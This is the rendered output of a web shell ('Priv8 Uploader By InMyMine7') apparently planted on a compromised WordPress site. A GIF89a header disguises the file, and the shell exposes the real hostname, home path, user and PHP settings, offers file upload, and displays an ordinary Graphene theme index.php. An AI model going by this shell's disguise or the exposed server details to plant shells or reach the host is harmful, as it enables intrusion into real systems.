GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/index.php
<?php
/**
 * The main template file.
 *
 * This is the most generic template file in a WordPress theme
 * and one of the two required files for a theme (the other being style.css).
 * It is used to display a page when nothing more specific matches a query. 
 * E.g., it puts together the home page when no home.php file exists.
 * Learn more: http://codex.wordpress.org/Template_Hierarchy
 *
 * @package Graphene
 * @since Graphene 1.0
 */
global $graphene_settings;
get_header(); ?>

	<?php
	
	/* Check if the user selects specific category for the front page */
	if ( is_home() && $graphene_settings['frontpage_posts_cats'] && ! in_array( 'disabled', $graphene_settings['frontpage_posts_cats'] ) ) {
		global $wp_query;
		$cats = $graphene_settings['frontpage_posts_cats'];
		
		// Display the sticky posts first
		$stickies = get_option('sticky_posts');
		if ( get_query_var( 'paged' ) < 2 && ( $stickies ) ) {
			$args = array( 'category__in' => $cats, 'post__in' => $stickies );
			query_posts( apply_filters( 'graphene_frontpage_posts_cats_sticky_args', $args ) );
			$wp_query->is_home = true;
			$wp_query->is_category = false;
			$wp_query->is_archive = false;
		
			if ( have_posts() ){
				get_template_part( 'loop', 'index' );
			}
			
			wp_reset_query();
		}
		
		// Display the rest of the posts from the category
		$args = array( 'category__in' => $cats, 'paged' => get_query_var( 'paged' ), 'post__not_in' => $stickies );
		query_posts( apply_filters( 'graphene_frontpage_posts_cats_args', $args ) );
		$wp_query->is_home = true;
		$wp_query->is_category = false;
		$wp_query->is_archive = false;
	}
	
	do_action('graphene_index_pre_loop');
	
    /* Run the loop to output the posts.
	 * If you want to overload this in a child theme then include a file
	 * called loop-index.php and that will be used instead.
	*/
	if ( ! ( is_home() && $graphene_settings['frontpage_posts_cats'] && ! have_posts() ) ) {
		while ( have_posts() ) {
			the_post(); 
		  	get_template_part( 'loop', 'index' );
	   	}
	}
	
	/* Posts navigation. */ 
    graphene_posts_nav();
    ?>
            
<?php get_footer(); ?>